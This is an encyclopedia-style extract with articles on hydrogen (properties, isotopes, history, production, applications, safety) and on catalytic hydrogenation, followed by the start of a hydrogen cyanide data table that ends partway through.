                    	P/Pa

                    	1

                    	10

                    	100

                    	1 k

                    	10 k

                    	100 k
                  


                  
                    	at T/K

                    	

                    	

                    	

                    	

                    	15

                    	20
                  

                

              
            


            
              	Atomic properties
            


            
              	Crystal structure

              	hexagonal
            


            
              	Oxidation states

              	1, 1

              ( amphoteric oxide)
            


            
              	Electronegativity

              	2.20 (Pauling scale)
            


            
              	Ionization energies

              	1st: 1312.0 kJmol1
            


            
              	Atomic radius

              	25 pm
            


            
              	Atomic radius (calc.)

              	53 pm
            


            
              	Covalent radius

              	37 pm
            


            
              	Van der Waals radius

              	120 pm
            


            
              	Miscellaneous
            


            
              	Thermal conductivity

              	(300 K) 180.5 mWm1K1
            


            
              	Speed of sound

              	(gas, 27 C) 1310 m/s
            


            
              	CAS registry number

              	1333-74-0
            


            
              	Selected isotopes
            


            
              	
                
                  
                    Main article: Isotopes of hydrogen
                  

                  
                    	iso

                    	NA

                    	half-life

                    	DM

                    	DE ( MeV)

                    	DP
                  


                  
                    	1H

                    	99.985%

                    	1H is stable with 0 neutrons
                  


                  
                    	2H

                    	0.015%

                    	2H is stable with 1 neutrons
                  


                  
                    	3H

                    	trace

                    	12.32 y

                    	

                    	0.019

                    	3He
                  

                

              
            


            
              	References
            


            
              	
            

          


          Hydrogen (pronounced /ˈhaɪdrədʒən/) is the chemical element with atomic number 1. It is represented by the symbol H. At standard temperature and pressure, hydrogen is a colorless, odorless, nonmetallic, tasteless, highly flammable diatomic gas with the molecular formula H2. With an atomic mass of 1.00794 amu, hydrogen is the lightest element.


          Hydrogen is the most abundant of the chemical elements, constituting roughly 75% of the universe's elemental mass. Stars in the main sequence are mainly composed of hydrogen in its plasma state. Elemental hydrogen is relatively rare on Earth, and is industrially produced from hydrocarbons such as methane, after which most elemental hydrogen is used "captively" (meaning locally at the production site), with the largest markets about equally divided between fossil fuel upgrading (e.g., hydrocracking) and ammonia production (mostly for the fertilizer market). Hydrogen may be produced from water using the process of electrolysis, but this process is presently significantly more expensive commercially than hydrogen production from natural gas.


          The most common naturally occurring isotope of hydrogen, known as protium, has a single proton and no neutrons. In ionic compounds it can take on either a positive charge (becoming a cation composed of a bare proton) or a negative charge (becoming an anion known as a hydride). Hydrogen can form compounds with most elements and is present in water and most organic compounds. It plays a particularly important role in acid-base chemistry, in which many reactions involve the exchange of protons between soluble molecules. As the only neutral atom for which the Schrdinger equation can be solved analytically, study of the energetics and bonding of the hydrogen atom has played a key role in the development of quantum mechanics.


          


          Chemistry and Characteristics


          The solubility and characteristics of hydrogen with various metals are very important in metallurgy (as many metals can suffer hydrogen embrittlement) and in developing safe ways to store it for use as a fuel. Hydrogen is highly soluble in many compounds composed of rare earth metals and transition metals and can be dissolved in both crystalline and amorphous metals. Hydrogen solubility in metals is influenced by local distortions or impurities in the metal crystal lattice.


          


          Combustion


          
            [image: Hydrogen is highly combustible in air. It burned rapidly in the Hindenburg disaster on May 6, 1937]

            
              Hydrogen is highly combustible in air. It burned rapidly in the Hindenburg disaster on May 6, 1937
            

          


          Hydrogen gas is highly flammable and will burn at concentrations as low as 4% H2 in air. The enthalpy of combustion for hydrogen is 286kJ/mol; it burns according to the following balanced equation.


          
            	2 H2(g) + O2(g)  2 H2O(l) + 286kJ/mol

          


          When mixed with oxygen across a wide range of proportions, hydrogen explodes upon ignition. Hydrogen burns violently in air. It ignites automatically at a temperature of 560C. Pure hydrogen-oxygen flames burn in the ultraviolet colour range and are nearly invisible to the naked eye, as illustrated by the faintness of flame from the main Space Shuttle engines (as opposed to the easily visible flames from the shuttle boosters). Thus it is difficult to visually detect if a hydrogen leak is burning. The explosion of the Hindenburg airship was an infamous case of hydrogen combustion (pictured); the cause is debated, but combustible materials in the ship's skin were responsible for the coloring of the flames. Another characteristic of hydrogen fires is that the flames tend to ascend rapidly with the gas in air, as illustrated by the Hindenburg flames, causing less damage than hydrocarbon fires. Two-thirds of the Hindenburg passengers survived the fire, and many of the deaths which occurred were from falling or from diesel fuel burns.


          H2 reacts directly with other oxidizing elements. A violent and spontaneous reaction can occur at room temperature with chlorine and fluorine, forming the corresponding hydrogen halides: hydrogen chloride and hydrogen fluoride.


          


          Electron energy levels


          
            [image: Depiction of a hydrogen atom showing the diameter as about twice the Bohr model radius. (Image not to scale)]
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          The ground state energy level of the electron in a hydrogen atom is -13.6 eV, which is equivalent to an ultraviolet photon of roughly 92 nm.


          The energy levels of hydrogen can be calculated fairly accurately using the Bohr model of the atom, which conceptualizes the electron as "orbiting" the proton in analogy to the Earth's orbit of the sun. However, the electromagnetic force attracts electrons and protons to one another, while planets and celestial objects are attracted to each other by gravity. Because of the discretization of angular momentum postulated in early quantum mechanics by Bohr, the electron in the Bohr model can only occupy certain allowed distances from the proton, and therefore only certain allowed energies.


          A more accurate description of the hydrogen atom comes from a purely quantum mechanical treatment that uses the Schrdinger equation or the equivalent Feynman path integral formulation to calculate the probability density of the electron around the proton.


          


          Elemental molecular forms


          
            [image: First tracks observed in liquid hydrogen bubble chamber at the Bevatron.]
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          There are two different types of diatomic hydrogen molecules that differ by the relative spin of their nuclei. In the orthohydrogen form, the spins of the two protons are parallel and form a triplet state; in the parahydrogen form the spins are antiparallel and form a singlet. At standard temperature and pressure, hydrogen gas contains about 25% of the para form and 75% of the ortho form, also known as the "normal form". The equilibrium ratio of orthohydrogen to parahydrogen depends on temperature, but since the ortho form is an excited state and has a higher energy than the para form, it is unstable and cannot be purified. At very low temperatures, the equilibrium state is composed almost exclusively of the para form. The physical properties of pure parahydrogen differ slightly from those of the normal form. The ortho/para distinction also occurs in other hydrogen-containing molecules or functional groups, such as water and methylene.


          The uncatalyzed interconversion between para and ortho H2 increases with increasing temperature; thus rapidly condensed H2 contains large quantities of the high-energy ortho form that convert to the para form very slowly. The ortho/para ratio in condensed H2 is an important consideration in the preparation and storage of liquid hydrogen: the conversion from ortho to para is exothermic and produces enough heat to evaporate the hydrogen liquid, leading to loss of the liquefied material. Catalysts for the ortho-para interconversion, such as iron compounds, are used during hydrogen cooling.


          A molecular form called protonated molecular hydrogen, or H3+, is found in the interstellar medium (ISM), where it is generated by ionization of molecular hydrogen from cosmic rays. It has also been observed in the upper atmosphere of the planet Jupiter. This molecule is relatively stable in the environment of outer space due to the low temperature and density. H3+ is one of the most abundant ions in the Universe, and it plays a notable role in the chemistry of the interstellar medium.


          


          Compounds


          


          Covalent and organic compounds


          While H2 is not very reactive under standard conditions, it does form compounds with most elements. Millions of hydrocarbons are known, but they are not formed by the direct reaction of elementary hydrogen and carbon (although synthesis gas production followed by the Fischer-Tropsch process to make hydrocarbons comes close to being an exception, as this begins with coal and the elemental hydrogen is generated in situ). Hydrogen can form compounds with elements that are more electronegative, such as halogens (e.g., F, Cl, Br, I); in these compounds hydrogen takes on a partial positive charge. When bonded to fluorine, oxygen, or nitrogen, hydrogen can participate in a form of strong noncovalent bonding called hydrogen bonding, which is critical to the stability of many biological molecules. Hydrogen also forms compounds with less electronegative elements, such as the metals and metalloids, in which it takes on a partial negative charge. These compounds are often known as hydrides.


          Hydrogen forms a vast array of compounds with carbon. Because of their general association with living things, these compounds came to be called organic compounds; the study of their properties is known as organic chemistry and their study in the context of living organisms is known as biochemistry. By some definitions, "organic" compounds are only required to contain carbon (as a classic historical example, urea). However, most of them also contain hydrogen, and since it is the carbon-hydrogen bond which gives this class of compounds most of its particular chemical characteristics, carbon-hydrogen bonds are required in some definitions of the word "organic" in chemistry.


          In inorganic chemistry, hydrides can also serve as bridging ligands that link two metal centers in a coordination complex. This function is particularly common in group 13 elements, especially in boranes (boron hydrides) and aluminium complexes, as well as in clustered carboranes.


          


          Hydrides


          Compounds of hydrogen are often called hydrides, a term that is used fairly loosely. To chemists, the term "hydride" usually implies that the H atom has acquired a negative or anionic character, denoted H. The existence of the hydride anion, suggested by G.N. Lewis in 1916 for group I and II salt-like hydrides, was demonstrated by Moers in 1920 with the electrolysis of molten lithium hydride (LiH), that produced a stoichiometric quantity of hydrogen at the anode. For hydrides other than group I and II metals, the term is quite misleading, considering the low electronegativity of hydrogen. An exception in group II hydrides is BeH2, which is polymeric. In lithium aluminium hydride, the AlH4 anion carries hydridic centers firmly attached to the Al(III). Although hydrides can be formed with almost all main-group elements, the number and combination of possible compounds varies widely; for example, there are over 100 binary borane hydrides known, but only one binary aluminium hydride. Binary indium hydride has not yet been identified, although larger complexes exist.


          [bookmark: .22Protons.22_and_acids]


          "Protons" and acids


          Oxidation of H2 formally gives the proton, H+. This species is central to discussion of acids, though the term proton is used loosely to refer to positively charged or cationic hydrogen, denoted H+. A bare proton H+ cannot exist in solution because of its strong tendency to attach itself to atoms or molecules with electrons. To avoid the convenient fiction of the naked "solvated proton" in solution, acidic aqueous solutions are sometimes considered to contain the hydronium ion (H3O+) organized into clusters to form H9O4+. Other oxonium ions are found when water is in solution with other solvents.


          Although exotic on earth, one of the most common ions in the universe is the H3+ ion, known as protonated molecular hydrogen or the triatomic hydrogen cation.


          


          Isotopes
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          Hydrogen has three naturally occurring isotopes, denoted 1H, 2H, and 3H. Other, highly unstable nuclei (4H to 7H) have been synthesized in the laboratory but not observed in nature.


          
            	1H is the most common hydrogen isotope with an abundance of more than 99.98%. Because the nucleus of this isotope consists of only a single proton, it is given the descriptive but rarely used formal name protium.


            	2H, the other stable hydrogen isotope, is known as deuterium and contains one proton and one neutron in its nucleus. Deuterium is not radioactive, and does not represent a significant toxicity hazard. Water enriched in molecules that include deuterium instead of normal hydrogen is called heavy water. Deuterium and its compounds are used as a non-radioactive label in chemical experiments and in solvents for 1H-NMR spectroscopy. Heavy water is used as a neutron moderator and coolant for nuclear reactors. Deuterium is also a potential fuel for commercial nuclear fusion.


            	3H is known as tritium and contains one proton and two neutrons in its nucleus. It is radioactive, decaying into Helium-3 through beta decay with a half-life of 12.32 years. Small amounts of tritium occur naturally because of the interaction of cosmic rays with atmospheric gases; tritium has also been released during nuclear weapons tests. It is used in nuclear fusion reactions, as a tracer in isotope geochemistry, and specialized in self-powered lighting devices. Tritium has also been used in chemical and biological labeling experiments as a radiolabel.

          


          Hydrogen is the only element that has different names for its isotopes in common use today. (During the early study of radioactivity, various heavy radioactive isotopes were given names, but such names are no longer used). The symbols D and T (instead of 2H and 3H) are sometimes used for deuterium and tritium, but the corresponding symbol P is already in use for phosphorus and thus is not available for protium. In its nomenclatural guidelines, the International Union of Pure and Applied Chemistry allows any of D, T, 2H, and 3H to be used, although 2H and 3H are preferred.


          


          Natural occurrence
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          Hydrogen is the most abundant element in the universe, making up 75% of normal matter by mass and over 90% by number of atoms. This element is found in great abundance in stars and gas giant planets. Molecular clouds of H2 are associated with star formation. Hydrogen plays a vital role in powering stars through proton-proton reaction and CNO cycle nuclear fusion.


          Throughout the universe, hydrogen is mostly found in the atomic and plasma states whose properties are quite different from molecular hydrogen. As a plasma, hydrogen's electron and proton are not bound together, resulting in very high electrical conductivity and high emissivity (producing the light from the sun and other stars). The charged particles are highly influenced by magnetic and electric fields. For example, in the solar wind they interact with the Earth's magnetosphere giving rise to Birkeland currents and the aurora. Hydrogen is found in the neutral atomic state in the Interstellar medium. The large amount of neutral hydrogen found in the damped Lyman-alpha systems is thought to dominate the cosmological baryonic density of the Universe up to redshift z=4.


          Under ordinary conditions on Earth, elemental hydrogen exists as the diatomic gas, H2 (for data see table). However, hydrogen gas is very rare in the Earth's atmosphere (1 ppm by volume) because of its light weight, which enables it to escape from Earth's gravity more easily than heavier gases. Still, hydrogen is the third most abundant element on the Earth's surface. Most of the Earth's hydrogen is in the form of chemical compounds such as hydrocarbons and water. Hydrogen gas is produced by some bacteria and algae and is a natural component of flatus. Methane is a hydrogen source of increasing importance.


          


          History


          


          Discovery


          Hydrogen gas, H2, was first artificially produced and formally described by T. Von Hohenheim (also known as Paracelsus, 14931541) via the mixing of metals with strong acids. He was unaware that the flammable gas produced by this chemical reaction was a new chemical element. In 1671, Robert Boyle rediscovered and described the reaction between iron filings and dilute acids, which results in the production of hydrogen gas. In 1766, Henry Cavendish was the first to recognize hydrogen gas as a discrete substance, by identifying the gas from a metal-acid reaction as "inflammable air" and further finding in 1781 that the gas produces water when burned. He is usually given credit for its discovery as an element. In 1783, Antoine Lavoisier gave the element the name of hydrogen (from the Greek hydro meaning water and genes meaning creator) when he and Laplace reproduced Cavendish's finding that water is produced when hydrogen is burned. Deuterium was discovered in 1931 by Harold Urey, and tritium was prepared in 1934 by Ernest Rutherford, Mark Oliphant, and Paul Harteck.


          One of the first uses of H2 was for balloons, and later airships. Infamously, H2 was used in the Hindenburg airship that was destroyed in a midair fire, though other airships at the time had been made using the less volatile helium.


          


          Role in quantum theory


          
            [image: Hydrogen emission spectrum.]
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          Because of its relatively simple atomic structure, consisting only of a proton and an electron, the hydrogen atom, together with the spectrum of light produced from it or absorbed by it, has been central to the development of the theory of atomic structure. Furthermore, the corresponding simplicity of the hydrogen molecule and the corresponding cation H2+ allowed fuller understanding of the nature of the chemical bond, which followed shortly after the quantum mechanical treatment of the hydrogen atom had been developed in the mid-1920s.


          One of the first quantum effects to be explicitly noticed (but not understood at the time) was a Maxwell observation involving hydrogen, half a century before full quantum mechanical theory arrived. Maxwell observed that the specific heat capacity of H2 unaccountably departs from that of a diatomic gas below room temperature and begins to increasingly resemble that of a monatomic gas at cryogenic temperatures. According to quantum theory, this behaviour arises from the spacing of the (quantized) rotational energy levels, which are particularly wide-spaced in H2 because of its low mass. These widely spaced levels inhibit equal partition of heat energy into rotational motion in hydrogen at low temperatures. Diatomic gases composed of heavier atoms do not have such widely spaced levels and do not exhibit the same effect.


          


          Production


          H2 is produced in chemistry and biology laboratories, often as a by-product of other reactions; in industry for the hydrogenation of unsaturated substrates; and in nature as a means of expelling reducing equivalents in biochemical reactions.


          


          Laboratory


          In the laboratory, H2 is usually prepared by the reaction of acids on metals such as zinc.


          
            	Zn + 2 H+  Zn2+ + H2

          


          Aluminium produces H2 upon treatment with acids but also with base:


          
            	2 Al + 6 H2O  2 Al(OH)3 + 3 H2

          


          The electrolysis of water is a simple method of producing hydrogen. A low voltage current is run through the water, and gaseous oxygen forms at the anode while gaseous hydrogen forms at the cathode. Typically the cathode is made from platinum or another inert metal when producing hydrogen for storage. If, however, the gas is to be burnt on site, oxygen is desirable to assist the combustion, and so both electrodes would be made from inert metals. (Iron, for instance, would oxidize, and thus decrease the amount of oxygen given off.) The theoretical maximum efficiency (electricity used vs. energetic value of hydrogen produced) is between 8094%.


          
            	2H2O(aq)  2H2(g) + O2(g)

          


          In 2007, it was discovered that an alloy of aluminium and gallium in pellet form added to water could be used to generate hydrogen. The process also creates alumina, but the expensive gallium, which prevents to formation of an oxide skin on the pellets, can be re-used. This has important potential implications for a hydrogen economy, since hydrogen can be produced on-site and does not need to be transported.


          


          Industrial


          Hydrogen can be prepared in several different ways, but economically the most important processes involve removal of hydrogen from hydrocarbons. Commercial bulk hydrogen is usually produced by the steam reforming of natural gas. At high temperatures (7001100C; 1,3002,000F), steam (water vapor) reacts with methane to yield carbon monoxide and H2.


          
            	CH4 + H2O  CO + 3 H2

          


          This reaction is favored at low pressures but is nonetheless conducted at high pressures (20atm; 600 inHg) since high pressure H2 is the most marketable product. The product mixture is known as " synthesis gas" because it is often used directly for the production of methanol and related compounds. Hydrocarbons other than methane can be used to produce synthesis gas with varying product ratios. One of the many complications to this highly optimized technology is the formation of coke or carbon:


          
            	CH4  C + 2 H2

          


          Consequently, steam reforming typically employs an excess of H2O. Additional hydrogen can be recovered from the steam by use of carbon monoxide through the water gas shift reaction, especially with an iron oxide catalyst. This reaction is also a common industrial source of carbon dioxide:


          
            	CO + H2O  CO2 + H2

          


          Other important methods for H2 production include partial oxidation of hydrocarbons:


          
            	CH4 + 0.5 O2  CO + 2 H2

          


          and the coal reaction, which can serve as a prelude to the shift reaction above:


          
            	C + H2O  CO + H2

          


          Hydrogen is sometimes produced and consumed in the same industrial process, without being separated. In the Haber process for the production of ammonia, hydrogen is generated from natural gas. Electrolysis of brine to yield chlorine also produces hydrogen as a co-product.


          


          Applications


          Large quantities of H2 are needed in the petroleum and chemical industries. The largest application of H2 is for the processing ("upgrading") of fossil fuels, and in the production of ammonia. The key consumers of H2 in the petrochemical plant include hydrodealkylation, hydrodesulfurization, and hydrocracking. H2 has several other important uses. H2 is used as a hydrogenating agent, particularly in increasing the level of saturation of unsaturated fats and oils (found in items such as margarine), and in the production of methanol. It is similarly the source of hydrogen in the manufacture of hydrochloric acid. H2 is also used as a reducing agent of metallic ores.


          Apart from its use as a reactant, H2 has wide applications in physics and engineering. It is used as a shielding gas in welding methods such as atomic hydrogen welding. H2 is used as the rotor coolant in electrical generators at power stations, because it has the highest thermal conductivity of any gas. Liquid H2 is used in cryogenic research, including superconductivity studies. Since H2 is lighter than air, having a little more than 1/15th of the density of air, it was once widely used as a lifting agent in balloons and airships.


          In more recent applications, hydrogen is used pure or mixed with nitrogen (sometimes called forming gas) as a tracer gas for minute leak detection. Applications can be found in the automotive, chemical, power generation, aerospace, and telecommunications industries. Hydrogen is an authorized food additive (E 949) that allows food package leak testing among other anti-oxidizing properties.


          Hydrogen's rarer isotopes also each have specific applications. Deuterium (hydrogen-2) is used in nuclear fission applications as a moderator to slow neutrons, and in nuclear fusion reactions. Deuterium compounds have applications in chemistry and biology in studies of reaction isotope effects. Tritium (hydrogen-3), produced in nuclear reactors, is used in the production of hydrogen bombs, as an isotopic label in the biosciences, and as a radiation source in luminous paints.


          The triple point temperature of equilibrium hydrogen is a defining fixed point on the ITS-90 temperature scale at 13.8033 kelvins.


          


          Energy carrier


          Hydrogen is not an energy source, except in the hypothetical context of commercial nuclear fusion power plants using deuterium or tritium, a technology presently far from development. The Sun's energy comes from nuclear fusion of hydrogen, but this process is difficult to achieve controllably on Earth. Elemental hydrogen from solar, biological, or electrical sources costs more in energy to make than is obtained by burning it. Hydrogen may be obtained from fossil sources (such as methane) for less energy than required to make it, but these sources are unsustainable, and are also themselves direct energy sources.


          The energy density per unit volume of both liquid hydrogen and hydrogen gas at any practicable pressure is significantly less than that of traditional fuel sources, although the energy density per unit fuel mass is higher. Nevertheless, elemental hydrogen has been widely discussed in the context of energy, as a possible future carrier of energy on an economy-wide scale. For example, CO2 sequestration followed by carbon capture and storage could be conducted at the point of H2 production from fossil fuels. Hydrogen used in transportation would burn relatively cleanly, with some NOx emissions, but without carbon emissions.


          


          Infrastructure


          However, the infrastructure costs associated with full conversion to a hydrogen economy would be substantial.


          


          Biological


          H2 is a product of some types of anaerobic metabolism and is produced by several microorganisms, usually via reactions catalyzed by iron- or nickel-containing enzymes called hydrogenases. These enzymes catalyze the reversible redox reaction between H2 and its component two protons and two electrons. Creation of hydrogen gas occurs in the transfer of reducing equivalents produced during pyruvate fermentation to water.


          Water splitting, in which water is decomposed into its component protons, electrons, and oxygen, occurs in the light reactions in all photosynthetic organisms. Some such organisms including the alga Chlamydomonas reinhardtii and cyanobacteria have evolved a second step in the dark reactions in which protons and electrons are reduced to form H2 gas by specialized hydrogenases in the chloroplast. Efforts have been undertaken to genetically modify cyanobacterial hydrogenases to efficiently synthesize H2 gas even in the presence of oxygen. Efforts have also been undertaken with genetically modified alga in a bioreactor.


          


          Safety and precautions


          Hydrogen poses a number of hazards to human safety, from potential detonations and fires when mixed with air to being an asphyxant in its pure, oxygen-free form. In addition, liquid hydrogen is a cryogen and presents dangers (such as frostbite) associated with very cold liquids. Hydrogen dissolves in some metals, and, in addition to leaking out, may have adverse effects on them, such as hydrogen embrittlement. Hydrogen gas leaking into external air may spontaneously ignite. However, hydrogen fire, while being extremely hot, is almost invisible, and thus can lead to accidental burns.


          Even interpreting the hydrogen data (including safety data) is confounded by a number of phenomena. Many physical and chemical properties of hydrogen depend on the parahydrogen/orthohydrogen ratio (it often takes days or weeks at a given temperature to reach the equilibrium ratio, for which the data is usually given). Hydrogen detonation parameters, such as critical detonation pressure and temperature, strongly depend on the container geometry.
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          Hydrogenation is a class of chemical reactions which result in an addition of hydrogen (H2) usually to unsaturated organic compounds. The process constitutes the addition of hydrogen atoms to the double bonds of a molecule through the use of a catalyst. Hydrogen also adds to triple bonds if they are present. Typical substrates include alkenes, alkynes, ketones, nitriles, and imines. Most hydrogenations involve the direct addition of diatomic hydrogen (H2) but some involve the alternative sources of hydrogen, not H2: these processes are called transfer hydrogenations. The reverse reaction, removal of hydrogen, is called dehydrogenation. A reaction involving hydrogen and cleavage of a carbon-oxygen bond or carbon-nitrogen bond is called Hydrogenolysis. Hydrogenation differs from protonation or hydride addition (e.g. use of sodium borohydride): in hydrogenation, the products have the same charge as the reactants.


          The classical example of a hydrogenation is the addition of hydrogen on unsaturated bonds between carbon atoms, converting alkenes to alkanes. A simple example is the hydrogenation of maleic acid to succinic acid depicted on the right. Numerous important applications are found in the petrochemical, pharmaceutical and food industries.


          Health concerns associated with the hydrogenation of unsaturated fats to produce saturated fats and trans fats is an important aspect of current consumer awareness.


          


          Process


          Hydrogenation has three components:


          
            	the unsaturated substrate,


            	the hydrogen (or hydrogen source) and, invariably,


            	a catalyst.

          


          The largest scale technological uses of H2 are the hydrogenation and hydrogenolysis reactions associated with both heavy and fine chemicals industries. Hydrogenation is the addition of H2 to unsaturated organic compounds such as alkenes to give alkanes and aldehydes to give alcohols. Hydrogenation reactions require metal catalysts, often those composed of platinum or similar precious metals.


          The addition of H2 to an alkene affords an alkane in the protypical reaction:


          
            	RCH=CH2 + H2  RCH2CH3 (R = alkyl, aryl)

          


          An important characteristic of alkene and alkyne hydrogenations both homogeneous and heterogeneous is that hydrogen addition takes place with syn addition with hydrogen entering from the least hindered side.


          


          Catalysts


          With rare exception, no reaction below 480 C occurs between H2 and organic compounds in the absence of metal catalysts. The catalyst simultaneously binds both the H2 and the unsaturated substrate and facilitates their union. Platinum group metals, particularly platinum, palladium, rhodium and ruthenium, are highly active catalysts. Highly active catalysts operate at lower temperatures and lower pressures of H2. Non-precious metal catalysts, especially those based on nickel (such as Raney nickel and Urushibara nickel) have also been developed as economical alternatives but they are often slower or require higher temperatures. The trade-off is activity (speed of reaction) vs. cost of the catalyst and cost of the apparatus required for use of high pressures.


          Two broad families of catalysts are known - homogeneous and heterogeneous. Homogeneous catalysts dissolve in the solvent that contains the unsaturated substrate. Heterogeneous catalysts are solids that are suspended in the same solvent with the substrate or are treated with gaseous substrate. In the pharmaceutical industry and for special chemical applications, soluble " "homogeneous"" catalyst are sometimes employed, such as the rhodium-based compound known as Wilkinson's catalyst, or the iridium-based Crabtree's catalyst.


          The activity and selectivity of catalysts can be adjusted by changing the environment around the metal, i.e. the coordination sphere. Different faces of a crystalline heterogeneous catalyst display distinct activities, for example. Similarly, heterogeneous catalysts are affected by their supports, i.e. the material upon with the heterogeneous catalyst is bound. Homogeneous catalysts are affected by their ligands. In many cases, highly empirical modifications involve selective "poisons." Thus, a carefully chosen catalyst can be used to hydrogenate some functional groups without affecting others, such as the hydrogenation of alkenes without touching aromatic rings, or the selective hydrogenation of alkynes to alkenes using Lindlar's catalyst. For prochiral substrates, the selectivity of the catalyst can be adjusted such that one enantiomeric product is produced.


          


          Mechanism of reaction


          Because of its technological relevance, metal-catalyzed activation of H2, has been the subject of considerable study, focusing on the reaction mechanisms of by which metals mediate these reactions. First of all isotope labeling using deuterium can be used to determine the regiochemistry of the addition:


          
            	RCH=CH2 + D2  RCHDCH2D

          


          Essentially, the metal binds to both components to give an intermediate alkene-metal(H)2 complex. The general sequence of reactions is:


          
            	binding of the hydrogen to give a dihydride complex ("oxidative addition"):

          


          
            	LnM + H2  LnMH2

          


          
            	binding of alkene:

          


          
            	LnM(2H2) + CH2=CHR  Ln-1MH2(CH2=CHR) + L

          


          
            	transfer of one hydrogen atom from the metal to carbon (migratory insertion)

          


          
            	Ln-1MH2(CH2=CHR)  Ln-1M(H)(CH2-CH2R)

          


          
            	transfer of the second hydrogen atom from the metal to the alkyl group with simultaneous dissociation of the alkane ("reductive elimination")

          


          
            	Ln-1M(H)(CH2-CH2R)  Ln-1M + CH3-CH2R

          


          Preceding the oxidative addition of H2 is the formation of a dihydrogen complex.


          


          Temperatures


          The reaction is carried out at different temperatures and pressures depending upon the substrate. Hydrogenation is a strongly exothermic reaction. In the hydrogenation of vegetable oils and fatty acids, for example, the heat released is about 25 kcal per mole (105 kJ/mol), sufficient to raise the temperature of the oil by 1.6-1.7 C per iodine number drop.


          


          Scope


          Alkynes can be selectively converted into alkenes in a so-called semihydrogenation, for instance with the compound Ethyl 2-Butynoate and catalyst palladium on barium sulfate and quinoline (which deactivates the catalyst enhancing chemoselectivity):


          
            	[image: Ethyl isocrotonate synthesis by ethyl 2-butynoate hydrogenation]

          


          or with 4-(trimethylsilyl)-3-butyn-1-ol:


          
            	[image: 4-(trimethylsilyl)-3-butyn-1-ol hydrogenation]

          


          The next reaction featuring carvone is an example of homogeneous catalysis i.e. the Wilkinson's catalyst:


          
            	[image: Carvone hydrogenation]

          


          Hydrogenation is sensitive to steric hindrance explaining the selectivity for reaction with the exocyclic double bond but not the internal double bond.


          The compound 1-naphthol is completely reduced to a mixture of decalin-ol isomers.


          
            	[image: 1-naphthol hydrogenation]

          


          The compound resorcinol, hydrogenated with Raney nickel in presence of aqeous sodium hydroxide forms an enolate which is alkylated with methyl iodide to 2-methyl-1,3-cyclohexandione:


          
            	[image: Resorcinol Hydrogenation]

          


          An effective catalyst is the Lindlar catalyst for example in the conversion of phenylacetylene to styrene.


          
            	[image: Application Lindlar Catalyst]

          


          Hydrogenation is also used in organic reduction of nitro compounds, for instance aromatic nitro compounds in combination with palladium on carbon and formaldehyde:


          
            	[image: Nitro compound hydrogenation]

          


          or the reduction of imines, for example in a synthesis of m-tolylbenzylamine:


          
            	[image: Imine hydrogenation]

          


          or the reduction of nitriles for instance in a synthesis of phenethylamine with Raney nickel and ammonia:


          
            	[image: Nitrile hydrogenation]

          


          


          In the food industry
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          Hydrogenation is widely applied to the processing of vegetable oils and fats. Complete hydrogenation converts unsaturated fatty acids to saturated ones. In practice the process is not usually carried to completion. Since the original oils usually contain more than one double bond per molecule (that is, they are poly-unsaturated), the result is usually described as partially hydrogenated vegetable oil; that is some, but usually not all, of the double bonds in each molecule have been reduced. This is done by restricting the amount of hydrogen (or reducing agent) allowed to react with the fat.


          Hydrogenation results in the conversion of liquid vegetable oils to solid or semi-solid fats, such as those present in margarine. Changing the degree of saturation of the fat changes some important physical properties such as the melting point, which is why liquid oils become semi-solid. Semi-solid fats are preferred for baking because the way the fat mixes with flour produces a more desirable texture in the baked product. Since partially hydrogenated vegetable oils are cheaper than animal source fats, are available in a wide range of consistencies, and have other desirable characteristics (e.g., increased oxidative stability (longer shelf life)), they are the predominant fats used in most commercial baked goods. Fat blends formulated for this purpose are called shortenings.


          


          Health implications


          A side effect of incomplete hydrogenation having implications for human health is the isomerization of the remaining unsaturated carbon bonds. The cis configuration of these double bonds predominates in the unprocessed fats in most edible fat sources, but incomplete hydrogenation partially converts these molecules to trans isomers, which have been implicated in circulatory diseases including heart disease (see trans fats). The catalytic hydrogenation process favors the conversion from cis to trans bonds because the trans configuration has lower energy than the natural cis one. At equilibrium, the trans/cis isomer ratio is about 2:1. Food legislation in the US and codes of practice in EU has long required labels declaring the fat content of foods in retail trade, and more recently, have also required declaration of the trans fat content.


          In 2006, New York City adopted the US's first major municipal ban on most artificial trans fats in restaurant cooking.


          


          History


          The earliest hydrogenation is that of platinum catalyzed addition of hydrogen to oxygen in the Dbereiner's lamp, a device commercialized as early as 1823. The French chemist Paul Sabatier is considered the father of the hydrogenation process. In 1897 he discovered that the introduction of a trace of nickel as a catalyst facilitated the addition of hydrogen to molecules of gaseous carbon compounds in what is now known as the Sabatier process. For this work Sabatier won half of the 1912 Nobel Prize in Chemistry. Wilhelm Normann was awarded a patent in Germany in 1902 and in Britain in 1903 for the hydrogenation of liquid oils using hydrogen gas, which was the beginning of what is now a very large industry world wide. The commercially very important Haber-Bosch process (ammonia hydrogenation) was first described in 1905 and less so Fischer-Tropsch process (carbon monoxide hydrogenation) in 1922. Another commercial application is the oxo process (1938), a hydrogen mediated coupling of aldehydes with alkenes. Wilkinson's catalyst was the first homogeneous catalyst developed in the 1960s and Noyori asymmetric hydrogenation (1987) one of the first applications in asymmetric synthesis. A 2007 review article advocated the use of more hydrogenations in C-C coupling reactions like the oxo process.


          


          Metal-free hydrogenation


          Although for all practical purposes hydrogenation requires a metal catalyst there exist some metal-free catalytic systems that are investigated in academic research. One such system for reduction of ketones consists of tert-butanol and potassium tert-butoxide and very high temperatures. The reaction depicted below describes the hydrogenation of benzophenone:


          
            	[image: Base Catalyzed Ketone Hydrogenation]

          


          A chemical kinetics study found this reaction is first order in all three reactants suggesting a cyclic 6-membered transition state.


          

          Another system is based on the phosphine- borane compound (1). It reversibly accepts dihydrogen at relatively low temperatures to form the phosphonium borate 2 which is able to reduce a simple hindered imine.


          
            	[image: Metal free hydrogenation Phosphine Borane]
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              	IUPAC name

              	Hydrogen cyanide
            


            
              	Other names

              	Hydrocyanic acid

              prussic acid,

              formonitrile

              formic anammonide

              carbon hydride nitride

              cyclon
            


            
              	Identifiers
            


            
              	CAS number

              	[74-90-8]
            


            
              	RTECS number

              	MW6825000
            


            
              	SMILES

              	C#N
            


            
              	Properties
            


            
              	Molecular formula

              	HCN
            


            
              	Molar mass

              	27.03 g/mol
            


            
              	Appearance

              	Colorless gas or pale blue

              highly volatile liquid
            


            
              	Density

              	0.687 g/cm, liquid.
            


            
              	Melting point

              	
                -13.4C (259.75 K, 7.88F)

              
            


            
              	Boiling point

              	
                26C (299.15 K, 78.8F)

              
            


            
              	Solubility in water

              	Completely miscible.
            


            
              	Acidity (pKa)

              	9.2 - 9.3
            


            
              	Hazards
            


            
              	Main hazards

              	Highly toxic, highly flammable.
            


            
              	NFPA 704
